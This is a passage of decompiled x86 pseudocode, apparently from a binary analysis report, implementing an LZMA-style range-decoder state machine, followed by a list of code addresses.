                                                                                    							__eax =  *(__ebp - 4);
                                                                                    							__ecx =  *(__ebp - 0x38);
                                                                                    							 *(__ebp - 0x84) = 8;
                                                                                    							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
                                                                                    							goto L132;
                                                                                    						case 8:
                                                                                    							__eflags =  *(__ebp - 0x40);
                                                                                    							if( *(__ebp - 0x40) != 0) {
                                                                                    								__eax =  *(__ebp - 4);
                                                                                    								__ecx =  *(__ebp - 0x38);
                                                                                    								 *(__ebp - 0x84) = 0xa;
                                                                                    								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
                                                                                    							} else {
                                                                                    								__eax =  *(__ebp - 0x38);
                                                                                    								__ecx =  *(__ebp - 4);
                                                                                    								__eax =  *(__ebp - 0x38) + 0xf;
                                                                                    								 *(__ebp - 0x84) = 9;
                                                                                    								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
                                                                                    								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
                                                                                    							}
                                                                                    							goto L132;
                                                                                    						case 9:
                                                                                    							goto L0;
                                                                                    						case 0xa:
                                                                                    							__eflags =  *(__ebp - 0x40);
                                                                                    							if( *(__ebp - 0x40) != 0) {
                                                                                    								__eax =  *(__ebp - 4);
                                                                                    								__ecx =  *(__ebp - 0x38);
                                                                                    								 *(__ebp - 0x84) = 0xb;
                                                                                    								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
                                                                                    								goto L132;
                                                                                    							}
                                                                                    							__eax =  *(__ebp - 0x28);
                                                                                    							goto L88;
                                                                                    						case 0xb:
                                                                                    							__eflags =  *(__ebp - 0x40);
                                                                                    							if( *(__ebp - 0x40) != 0) {
                                                                                    								__ecx =  *(__ebp - 0x24);
                                                                                    								__eax =  *(__ebp - 0x20);
                                                                                    								 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                                                    							} else {
                                                                                    								__eax =  *(__ebp - 0x24);
                                                                                    							}
                                                                                    							__ecx =  *(__ebp - 0x28);
                                                                                    							 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                                                    							L88:
                                                                                    							__ecx =  *(__ebp - 0x2c);
                                                                                    							 *(__ebp - 0x2c) = __eax;
                                                                                    							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                                                    							goto L89;
                                                                                    						case 0xc:
                                                                                    							L99:
                                                                                    							__eflags =  *(__ebp - 0x6c);
                                                                                    							if( *(__ebp - 0x6c) == 0) {
                                                                                    								 *(__ebp - 0x88) = 0xc;
                                                                                    								goto L170;
                                                                                    							}
                                                                                    							__ecx =  *(__ebp - 0x70);
                                                                                    							__eax =  *(__ebp - 0xc);
                                                                                    							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    							_t334 = __ebp - 0x70;
                                                                                    							 *_t334 =  *(__ebp - 0x70) + 1;
                                                                                    							__eflags =  *_t334;
                                                                                    							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    							__eax =  *(__ebp - 0x2c);
                                                                                    							goto L101;
                                                                                    						case 0xd:
                                                                                    							L37:
                                                                                    							__eflags =  *(__ebp - 0x6c);
                                                                                    							if( *(__ebp - 0x6c) == 0) {
                                                                                    								 *(__ebp - 0x88) = 0xd;
                                                                                    								goto L170;
                                                                                    							}
                                                                                    							__ecx =  *(__ebp - 0x70);
                                                                                    							__eax =  *(__ebp - 0xc);
                                                                                    							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    							_t122 = __ebp - 0x70;
                                                                                    							 *_t122 =  *(__ebp - 0x70) + 1;
                                                                                    							__eflags =  *_t122;
                                                                                    							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    							L39:
                                                                                    							__eax =  *(__ebp - 0x40);
                                                                                    							__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                                                    							if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
                                                                                    								goto L48;
                                                                                    							}
                                                                                    							__eflags = __ebx - 0x100;
                                                                                    							if(__ebx >= 0x100) {
                                                                                    								goto L54;
                                                                                    							}
                                                                                    							L41:
                                                                                    							__eax =  *(__ebp - 0x5b) & 0x000000ff;
                                                                                    							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
                                                                                    							__ecx =  *(__ebp - 0x58);
                                                                                    							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
                                                                                    							 *(__ebp - 0x48) = __eax;
                                                                                    							__eax = __eax + 1;
                                                                                    							__eax = __eax << 8;
                                                                                    							__eax = __eax + __ebx;
                                                                                    							__esi =  *(__ebp - 0x58) + __eax * 2;
                                                                                    							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                    							__ax =  *__esi;
                                                                                    							 *(__ebp - 0x54) = __esi;
                                                                                    							__edx = __ax & 0x0000ffff;
                                                                                    							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
                                                                                    							__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                    							if( *(__ebp - 0xc) >= __ecx) {
                                                                                    								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                    								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                    								__cx = __ax;
                                                                                    								 *(__ebp - 0x40) = 1;
                                                                                    								__cx = __ax >> 5;
                                                                                    								__eflags = __eax;
                                                                                    								__ebx = __ebx + __ebx + 1;
                                                                                    								 *__esi = __ax;
                                                                                    							} else {
                                                                                    								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
                                                                                    								 *(__ebp - 0x10) = __ecx;
                                                                                    								0x800 = 0x800 - __edx;
                                                                                    								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
                                                                                    								__ebx = __ebx + __ebx;
                                                                                    								 *__esi = __cx;
                                                                                    							}
                                                                                    							__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    							 *(__ebp - 0x44) = __ebx;
                                                                                    							if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    								goto L39;
                                                                                    							} else {
                                                                                    								goto L37;
                                                                                    							}
                                                                                    						case 0xe:
                                                                                    							L46:
                                                                                    							__eflags =  *(__ebp - 0x6c);
                                                                                    							if( *(__ebp - 0x6c) == 0) {
                                                                                    								 *(__ebp - 0x88) = 0xe;
                                                                                    								goto L170;
                                                                                    							}
                                                                                    							__ecx =  *(__ebp - 0x70);
                                                                                    							__eax =  *(__ebp - 0xc);
                                                                                    							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    							_t156 = __ebp - 0x70;
                                                                                    							 *_t156 =  *(__ebp - 0x70) + 1;
                                                                                    							__eflags =  *_t156;
                                                                                    							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    							while(1) {
                                                                                    								L48:
                                                                                    								__eflags = __ebx - 0x100;
                                                                                    								if(__ebx >= 0x100) {
                                                                                    									break;
                                                                                    								}
                                                                                    								__eax =  *(__ebp - 0x58);
                                                                                    								__edx = __ebx + __ebx;
                                                                                    								__ecx =  *(__ebp - 0x10);
                                                                                    								__esi = __edx + __eax;
                                                                                    								__ecx =  *(__ebp - 0x10) >> 0xb;
                                                                                    								__ax =  *__esi;
                                                                                    								 *(__ebp - 0x54) = __esi;
                                                                                    								__edi = __ax & 0x0000ffff;
                                                                                    								__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                    								__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                    								if( *(__ebp - 0xc) >= __ecx) {
                                                                                    									 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                    									 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                    									__cx = __ax;
                                                                                    									_t170 = __edx + 1; // 0x1
                                                                                    									__ebx = _t170;
                                                                                    									__cx = __ax >> 5;
                                                                                    									__eflags = __eax;
                                                                                    									 *__esi = __ax;
                                                                                    								} else {
                                                                                    									 *(__ebp - 0x10) = __ecx;
                                                                                    									0x800 = 0x800 - __edi;
                                                                                    									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                    									__ebx = __ebx + __ebx;
                                                                                    									 *__esi = __cx;
                                                                                    								}
                                                                                    								__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    								 *(__ebp - 0x44) = __ebx;
                                                                                    								if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    									continue;
                                                                                    								} else {
                                                                                    									goto L46;
                                                                                    								}
                                                                                    							}
                                                                                    							L54:
                                                                                    							_t173 = __ebp - 0x34;
                                                                                    							 *_t173 =  *(__ebp - 0x34) & 0x00000000;
                                                                                    							__eflags =  *_t173;
                                                                                    							goto L55;
                                                                                    						case 0xf:
                                                                                    							L58:
                                                                                    							__eflags =  *(__ebp - 0x6c);
                                                                                    							if( *(__ebp - 0x6c) == 0) {
                                                                                    								 *(__ebp - 0x88) = 0xf;
                                                                                    								goto L170;
                                                                                    							}
                                                                                    							__ecx =  *(__ebp - 0x70);
                                                                                    							__eax =  *(__ebp - 0xc);
                                                                                    							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    							_t203 = __ebp - 0x70;
                                                                                    							 *_t203 =  *(__ebp - 0x70) + 1;
                                                                                    							__eflags =  *_t203;
                                                                                    							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    							L60:
                                                                                    							__eflags = __ebx - 0x100;
                                                                                    							if(__ebx >= 0x100) {
                                                                                    								L55:
                                                                                    								__al =  *(__ebp - 0x44);
                                                                                    								 *(__ebp - 0x5c) =  *(__ebp - 0x44);
                                                                                    								goto L56;
                                                                                    							}
                                                                                    							L61:
                                                                                    							__eax =  *(__ebp - 0x58);
                                                                                    							__edx = __ebx + __ebx;
                                                                                    							__ecx =  *(__ebp - 0x10);
                                                                                    							__esi = __edx + __eax;
                                                                                    							__ecx =  *(__ebp - 0x10) >> 0xb;
                                                                                    							__ax =  *__esi;
                                                                                    							 *(__ebp - 0x54) = __esi;
                                                                                    							__edi = __ax & 0x0000ffff;
                                                                                    							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                    							__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                    							if( *(__ebp - 0xc) >= __ecx) {
                                                                                    								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                    								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                    								__cx = __ax;
                                                                                    								_t217 = __edx + 1; // 0x1
                                                                                    								__ebx = _t217;
                                                                                    								__cx = __ax >> 5;
                                                                                    								__eflags = __eax;
                                                                                    								 *__esi = __ax;
                                                                                    							} else {
                                                                                    								 *(__ebp - 0x10) = __ecx;
                                                                                    								0x800 = 0x800 - __edi;
                                                                                    								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                    								__ebx = __ebx + __ebx;
                                                                                    								 *__esi = __cx;
                                                                                    							}
                                                                                    							__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    							 *(__ebp - 0x44) = __ebx;
                                                                                    							if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    								goto L60;
                                                                                    							} else {
                                                                                    								goto L58;
                                                                                    							}
                                                                                    						case 0x10:
                                                                                    							L109:
                                                                                    							__eflags =  *(__ebp - 0x6c);
                                                                                    							if( *(__ebp - 0x6c) == 0) {
                                                                                    								 *(__ebp - 0x88) = 0x10;
                                                                                    								goto L170;
                                                                                    							}
                                                                                    							__ecx =  *(__ebp - 0x70);
                                                                                    							__eax =  *(__ebp - 0xc);
                                                                                    							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    							_t365 = __ebp - 0x70;
                                                                                    							 *_t365 =  *(__ebp - 0x70) + 1;
                                                                                    							__eflags =  *_t365;
                                                                                    							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    							goto L111;
                                                                                    						case 0x11:
                                                                                    							goto L69;
                                                                                    						case 0x12:
                                                                                    							__eflags =  *(__ebp - 0x40);
                                                                                    							if( *(__ebp - 0x40) != 0) {
                                                                                    								__eax =  *(__ebp - 0x58);
                                                                                    								 *(__ebp - 0x84) = 0x13;
                                                                                    								__esi =  *(__ebp - 0x58) + 2;
                                                                                    								goto L132;
                                                                                    							}
                                                                                    							__eax =  *(__ebp - 0x4c);
                                                                                    							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
                                                                                    							__ecx =  *(__ebp - 0x58);
                                                                                    							__eax =  *(__ebp - 0x4c) << 4;
                                                                                    							__eflags = __eax;
                                                                                    							__eax =  *(__ebp - 0x58) + __eax + 4;
                                                                                    							goto L130;
                                                                                    						case 0x13:
                                                                                    							__eflags =  *(__ebp - 0x40);
                                                                                    							if( *(__ebp - 0x40) != 0) {
                                                                                    								_t469 = __ebp - 0x58;
                                                                                    								 *_t469 =  *(__ebp - 0x58) + 0x204;
                                                                                    								__eflags =  *_t469;
                                                                                    								 *(__ebp - 0x30) = 0x10;
                                                                                    								 *(__ebp - 0x40) = 8;
                                                                                    								L144:
                                                                                    								 *(__ebp - 0x7c) = 0x14;
                                                                                    								goto L145;
                                                                                    							}
                                                                                    							__eax =  *(__ebp - 0x4c);
                                                                                    							__ecx =  *(__ebp - 0x58);
                                                                                    							__eax =  *(__ebp - 0x4c) << 4;
                                                                                    							 *(__ebp - 0x30) = 8;
                                                                                    							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
                                                                                    							L130:
                                                                                    							 *(__ebp - 0x58) = __eax;
                                                                                    							 *(__ebp - 0x40) = 3;
                                                                                    							goto L144;
                                                                                    						case 0x14:
                                                                                    							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
                                                                                    							__eax =  *(__ebp - 0x80);
                                                                                    							goto L140;
                                                                                    						case 0x15:
                                                                                    							__eax = 0;
                                                                                    							__eflags =  *(__ebp - 0x38) - 7;
                                                                                    							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                                                    							__al = __al & 0x000000fd;
                                                                                    							__eax = (__eflags >= 0) - 1 + 0xb;
                                                                                    							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
                                                                                    							goto L120;
                                                                                    						case 0x16:
                                                                                    							__eax =  *(__ebp - 0x30);
                                                                                    							__eflags = __eax - 4;
                                                                                    							if(__eax >= 4) {
                                                                                    								_push(3);
                                                                                    								_pop(__eax);
                                                                                    							}
                                                                                    							__ecx =  *(__ebp - 4);
                                                                                    							 *(__ebp - 0x40) = 6;
                                                                                    							__eax = __eax << 7;
                                                                                    							 *(__ebp - 0x7c) = 0x19;
                                                                                    							 *(__ebp - 0x58) = __eax;
                                                                                    							goto L145;
                                                                                    						case 0x17:
                                                                                    							L145:
                                                                                    							__eax =  *(__ebp - 0x40);
                                                                                    							 *(__ebp - 0x50) = 1;
                                                                                    							 *(__ebp - 0x48) =  *(__ebp - 0x40);
                                                                                    							goto L149;
                                                                                    						case 0x18:
                                                                                    							L146:
                                                                                    							__eflags =  *(__ebp - 0x6c);
                                                                                    							if( *(__ebp - 0x6c) == 0) {
                                                                                    								 *(__ebp - 0x88) = 0x18;
                                                                                    								goto L170;
                                                                                    							}
                                                                                    							__ecx =  *(__ebp - 0x70);
                                                                                    							__eax =  *(__ebp - 0xc);
                                                                                    							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    							_t484 = __ebp - 0x70;
                                                                                    							 *_t484 =  *(__ebp - 0x70) + 1;
                                                                                    							__eflags =  *_t484;
                                                                                    							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    							L148:
                                                                                    							_t487 = __ebp - 0x48;
                                                                                    							 *_t487 =  *(__ebp - 0x48) - 1;
                                                                                    							__eflags =  *_t487;
                                                                                    							L149:
                                                                                    							__eflags =  *(__ebp - 0x48);
                                                                                    							if( *(__ebp - 0x48) <= 0) {
                                                                                    								__ecx =  *(__ebp - 0x40);
                                                                                    								__ebx =  *(__ebp - 0x50);
                                                                                    								0 = 1;
                                                                                    								__eax = 1 << __cl;
                                                                                    								__ebx =  *(__ebp - 0x50) - (1 << __cl);
                                                                                    								__eax =  *(__ebp - 0x7c);
                                                                                    								 *(__ebp - 0x44) = __ebx;
                                                                                    								goto L140;
                                                                                    							}
                                                                                    							__eax =  *(__ebp - 0x50);
                                                                                    							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                    							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                                                    							__eax =  *(__ebp - 0x58);
                                                                                    							__esi = __edx + __eax;
                                                                                    							 *(__ebp - 0x54) = __esi;
                                                                                    							__ax =  *__esi;
                                                                                    							__edi = __ax & 0x0000ffff;
                                                                                    							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                    							__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                    							if( *(__ebp - 0xc) >= __ecx) {
                                                                                    								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                    								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                    								__cx = __ax;
                                                                                    								__cx = __ax >> 5;
                                                                                    								__eax = __eax - __ecx;
                                                                                    								__edx = __edx + 1;
                                                                                    								__eflags = __edx;
                                                                                    								 *__esi = __ax;
                                                                                    								 *(__ebp - 0x50) = __edx;
                                                                                    							} else {
                                                                                    								 *(__ebp - 0x10) = __ecx;
                                                                                    								0x800 = 0x800 - __edi;
                                                                                    								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                    								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                                                                    								 *__esi = __cx;
                                                                                    							}
                                                                                    							__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    							if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    								goto L148;
                                                                                    							} else {
                                                                                    								goto L146;
                                                                                    							}
                                                                                    						case 0x19:
                                                                                    							__eflags = __ebx - 4;
                                                                                    							if(__ebx < 4) {
                                                                                    								 *(__ebp - 0x2c) = __ebx;
                                                                                    								L119:
                                                                                    								_t393 = __ebp - 0x2c;
                                                                                    								 *_t393 =  *(__ebp - 0x2c) + 1;
                                                                                    								__eflags =  *_t393;
                                                                                    								L120:
                                                                                    								__eax =  *(__ebp - 0x2c);
                                                                                    								__eflags = __eax;
                                                                                    								if(__eax == 0) {
                                                                                    									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
                                                                                    									goto L170;
                                                                                    								}
                                                                                    								__eflags = __eax -  *(__ebp - 0x60);
                                                                                    								if(__eax >  *(__ebp - 0x60)) {
                                                                                    									goto L171;
                                                                                    								}
                                                                                    								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
                                                                                    								__eax =  *(__ebp - 0x30);
                                                                                    								_t400 = __ebp - 0x60;
                                                                                    								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
                                                                                    								__eflags =  *_t400;
                                                                                    								goto L123;
                                                                                    							}
                                                                                    							__ecx = __ebx;
                                                                                    							__eax = __ebx;
                                                                                    							__ecx = __ebx >> 1;
                                                                                    							__eax = __ebx & 0x00000001;
                                                                                    							__ecx = (__ebx >> 1) - 1;
                                                                                    							__al = __al | 0x00000002;
                                                                                    							__eax = (__ebx & 0x00000001) << __cl;
                                                                                    							__eflags = __ebx - 0xe;
                                                                                    							 *(__ebp - 0x2c) = __eax;
                                                                                    							if(__ebx >= 0xe) {
                                                                                    								__ebx = 0;
                                                                                    								 *(__ebp - 0x48) = __ecx;
                                                                                    								L102:
                                                                                    								__eflags =  *(__ebp - 0x48);
                                                                                    								if( *(__ebp - 0x48) <= 0) {
                                                                                    									__eax = __eax + __ebx;
                                                                                    									 *(__ebp - 0x40) = 4;
                                                                                    									 *(__ebp - 0x2c) = __eax;
                                                                                    									__eax =  *(__ebp - 4);
                                                                                    									__eax =  *(__ebp - 4) + 0x644;
                                                                                    									__eflags = __eax;
                                                                                    									L108:
                                                                                    									__ebx = 0;
                                                                                    									 *(__ebp - 0x58) = __eax;
                                                                                    									 *(__ebp - 0x50) = 1;
                                                                                    									 *(__ebp - 0x44) = 0;
                                                                                    									 *(__ebp - 0x48) = 0;
                                                                                    									L112:
                                                                                    									__eax =  *(__ebp - 0x40);
                                                                                    									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                                                    									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
                                                                                    										_t391 = __ebp - 0x2c;
                                                                                    										 *_t391 =  *(__ebp - 0x2c) + __ebx;
                                                                                    										__eflags =  *_t391;
                                                                                    										goto L119;
                                                                                    									}
                                                                                    									__eax =  *(__ebp - 0x50);
                                                                                    									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                    									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                                                    									__eax =  *(__ebp - 0x58);
                                                                                    									__esi = __edi + __eax;
                                                                                    									 *(__ebp - 0x54) = __esi;
                                                                                    									__ax =  *__esi;
                                                                                    									__ecx = __ax & 0x0000ffff;
                                                                                    									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
                                                                                    									__eflags =  *(__ebp - 0xc) - __edx;
                                                                                    									if( *(__ebp - 0xc) >= __edx) {
                                                                                    										__ecx = 0;
                                                                                    										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
                                                                                    										__ecx = 1;
                                                                                    										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
                                                                                    										__ebx = 1;
                                                                                    										__ecx =  *(__ebp - 0x48);
                                                                                    										__ebx = 1 << __cl;
                                                                                    										__ecx = 1 << __cl;
                                                                                    										__ebx =  *(__ebp - 0x44);
                                                                                    										__ebx =  *(__ebp - 0x44) | __ecx;
                                                                                    										__cx = __ax;
                                                                                    										__cx = __ax >> 5;
                                                                                    										__eax = __eax - __ecx;
                                                                                    										__edi = __edi + 1;
                                                                                    										__eflags = __edi;
                                                                                    										 *(__ebp - 0x44) = __ebx;
                                                                                    										 *__esi = __ax;
                                                                                    										 *(__ebp - 0x50) = __edi;
                                                                                    									} else {
                                                                                    										 *(__ebp - 0x10) = __edx;
                                                                                    										0x800 = 0x800 - __ecx;
                                                                                    										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
                                                                                    										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                                                                    										 *__esi = __dx;
                                                                                    									}
                                                                                    									__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    									if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    										L111:
                                                                                    										_t368 = __ebp - 0x48;
                                                                                    										 *_t368 =  *(__ebp - 0x48) + 1;
                                                                                    										__eflags =  *_t368;
                                                                                    										goto L112;
                                                                                    									} else {
                                                                                    										goto L109;
                                                                                    									}
                                                                                    								}
                                                                                    								__ecx =  *(__ebp - 0xc);
                                                                                    								__ebx = __ebx + __ebx;
                                                                                    								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
                                                                                    								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                                                    								 *(__ebp - 0x44) = __ebx;
                                                                                    								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
                                                                                    									__ecx =  *(__ebp - 0x10);
                                                                                    									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                                                    									__ebx = __ebx | 0x00000001;
                                                                                    									__eflags = __ebx;
                                                                                    									 *(__ebp - 0x44) = __ebx;
                                                                                    								}
                                                                                    								__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    								if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    									L101:
                                                                                    									_t338 = __ebp - 0x48;
                                                                                    									 *_t338 =  *(__ebp - 0x48) - 1;
                                                                                    									__eflags =  *_t338;
                                                                                    									goto L102;
                                                                                    								} else {
                                                                                    									goto L99;
                                                                                    								}
                                                                                    							}
                                                                                    							__edx =  *(__ebp - 4);
                                                                                    							__eax = __eax - __ebx;
                                                                                    							 *(__ebp - 0x40) = __ecx;
                                                                                    							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
                                                                                    							goto L108;
                                                                                    						case 0x1a:
                                                                                    							L56:
                                                                                    							__eflags =  *(__ebp - 0x64);
                                                                                    							if( *(__ebp - 0x64) == 0) {
                                                                                    								 *(__ebp - 0x88) = 0x1a;
                                                                                    								goto L170;
                                                                                    							}
                                                                                    							__ecx =  *(__ebp - 0x68);
                                                                                    							__al =  *(__ebp - 0x5c);
                                                                                    							__edx =  *(__ebp - 8);
                                                                                    							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                                                    							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                    							 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                                                    							 *( *(__ebp - 0x68)) = __al;
                                                                                    							__ecx =  *(__ebp - 0x14);
                                                                                    							 *(__ecx +  *(__ebp - 8)) = __al;
                                                                                    							__eax = __ecx + 1;
                                                                                    							__edx = 0;
                                                                                    							_t192 = __eax %  *(__ebp - 0x74);
                                                                                    							__eax = __eax /  *(__ebp - 0x74);
                                                                                    							__edx = _t192;
                                                                                    							goto L79;
                                                                                    						case 0x1b:
                                                                                    							goto L75;
                                                                                    						case 0x1c:
                                                                                    							while(1) {
                                                                                    								L123:
                                                                                    								__eflags =  *(__ebp - 0x64);
                                                                                    								if( *(__ebp - 0x64) == 0) {
                                                                                    									break;
                                                                                    								}
                                                                                    								__eax =  *(__ebp - 0x14);
                                                                                    								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                    								__eflags = __eax -  *(__ebp - 0x74);
                                                                                    								if(__eax >=  *(__ebp - 0x74)) {
                                                                                    									__eax = __eax +  *(__ebp - 0x74);
                                                                                    									__eflags = __eax;
                                                                                    								}
                                                                                    								__edx =  *(__ebp - 8);
                                                                                    								__cl =  *(__eax + __edx);
                                                                                    								__eax =  *(__ebp - 0x14);
                                                                                    								 *(__ebp - 0x5c) = __cl;
                                                                                    								 *(__eax + __edx) = __cl;
                                                                                    								__eax = __eax + 1;
                                                                                    								__edx = 0;
                                                                                    								_t414 = __eax %  *(__ebp - 0x74);
                                                                                    								__eax = __eax /  *(__ebp - 0x74);
                                                                                    								__edx = _t414;
                                                                                    								__eax =  *(__ebp - 0x68);
                                                                                    								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                    								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                                                    								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
                                                                                    								__eflags =  *(__ebp - 0x30);
                                                                                    								 *( *(__ebp - 0x68)) = __cl;
                                                                                    								 *(__ebp - 0x14) = _t414;
                                                                                    								if( *(__ebp - 0x30) > 0) {
                                                                                    									continue;
                                                                                    								} else {
                                                                                    									goto L80;
                                                                                    								}
                                                                                    							}
                                                                                    							 *(__ebp - 0x88) = 0x1c;
                                                                                    							goto L170;
                                                                                    					}
                                                                                    				}
                                                                                    			}













                                                                                    0x00000000
                                                                                    0x00406c71
                                                                                    0x00406c71
                                                                                    0x00406c75
                                                                                    0x00406d2c
                                                                                    0x00406d2f
                                                                                    0x00406d3b
                                                                                    0x00406c1c
                                                                                    0x00406c1c
